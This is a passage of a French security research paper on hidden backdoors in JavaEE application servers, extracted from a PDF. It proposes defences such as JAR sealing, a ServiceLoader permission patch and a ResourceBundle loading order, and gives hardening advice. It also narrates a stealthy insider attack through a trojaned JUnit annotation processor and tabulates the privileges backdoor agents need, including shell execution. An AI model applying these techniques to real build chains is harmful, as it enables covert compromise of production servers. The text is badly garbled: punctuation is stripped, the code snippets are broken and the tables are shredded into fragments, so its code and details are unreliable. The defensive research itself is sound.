En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
